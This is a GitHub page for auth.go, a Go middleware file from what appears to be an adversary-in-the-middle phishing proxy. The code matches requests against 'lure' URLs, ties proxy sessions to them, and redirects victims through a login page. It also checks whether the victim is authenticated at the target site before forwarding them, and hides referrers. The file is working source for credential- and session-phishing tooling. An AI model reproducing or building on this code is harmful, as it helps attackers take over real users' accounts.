-
Notifications
You must be signed in to change notification settings - Fork 8
/
auth.go
130 lines (114 loc) · 3 KB
/
auth.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
package main
import (
"strings"
"github.com/gofiber/fiber/v2"
"github.com/rs/zerolog"
"go.uber.org/multierr"
)
type AuthConfig struct {
// URL to redirect browser in case of invalid lure URL or cookies
InvalidAuthURL string
// URL to redirect browser in case of valid lure URL and empty cookies
LoginURL string
// Service to check URLs for authentication and redirect configs
LureService LureService
// Manager to create/retrieve session from request cookies
SessionManager SessionManager
// Service to check that the user is authenticated at the target site
AuthService AuthService
}
func NewAuthMiddleware(log *zerolog.Logger, conf AuthConfig) fiber.Handler {
m := &authMiddleware{log: log, AuthConfig: &conf}
return func(c *fiber.Ctx) error {
return m.Handle(c)
}
}
type authMiddleware struct {
*AuthConfig
log *zerolog.Logger
}
func (m *authMiddleware) Handle(c *fiber.Ctx) error {
sess, err := m.SessionManager.GetSession(c)
if err != nil {
return err
}
if sess != nil {
return m.authenticatedHandler(c, sess)
}
return m.loginHandler(c)
}
func (m *authMiddleware) authenticatedHandler(c *fiber.Ctx, sess *proxySession) error {
exists, err := m.LureService.ExistsByURL(c.OriginalURL())
if err != nil {
return err
}
if exists {
return m.authRedirect(c, sess)
}
setProxySession(c, sess)
err = c.Next()
// refresh session
return multierr.Append(err, sess.Save())
}
func (m *authMiddleware) loginHandler(c *fiber.Ctx) error {
lureURL := c.OriginalURL()
exists, err := m.LureService.ExistsByURL(lureURL)
if err != nil {
return err
}
if !exists {
return m.redirect(c, m.InvalidAuthURL)
}
sess, err := m.SessionManager.NewSession(c, strings.Clone(lureURL))
if err != nil {
return err
}
if err = sess.Save(); err != nil {
return err
}
return m.redirect(c, m.LoginURL)
}
func (m *authMiddleware) authRedirect(c *fiber.Ctx, sess *proxySession) error {
targetURL := m.LoginURL
if m.AuthService.IsAuthenticated(c) {
lure, err := m.LureService.GetByURL(sess.LureURL())
if err != nil {
m.log.Error().Err(err).Msg("lureService error")
} else if lure != nil {
targetURL = lure.TargetURL
}
}
return m.redirect(c, targetURL)
}
func (*authMiddleware) redirect(c *fiber.Ctx, url string) error {
c.Set("Referrer-Policy", "no-referrer")
return c.Status(fiber.StatusFound).Redirect(url)
}
func NewNoAuthMiddleware(conf AuthConfig) fiber.Handler {
m := &noAuthMiddleware{AuthConfig: &conf}
return func(c *fiber.Ctx) error {
return m.Handle(c)
}
}
type noAuthMiddleware struct {
*AuthConfig
}
func (m *noAuthMiddleware) Handle(c *fiber.Ctx) error {
sess, err := m.SessionManager.GetOrCreateSession(c, "")
if err != nil {
return err
}
setProxySession(c, sess)
err = c.Next()
// refresh session
return multierr.Append(err, sess.Save())
}
func getProxySession(c *fiber.Ctx) *proxySession {
if sess, ok := c.Locals("proxy_session").(*proxySession); ok {
return sess
}
return nil
}
func setProxySession(c *fiber.Ctx, sess *proxySession) {
c.Locals("proxy_session", sess)
}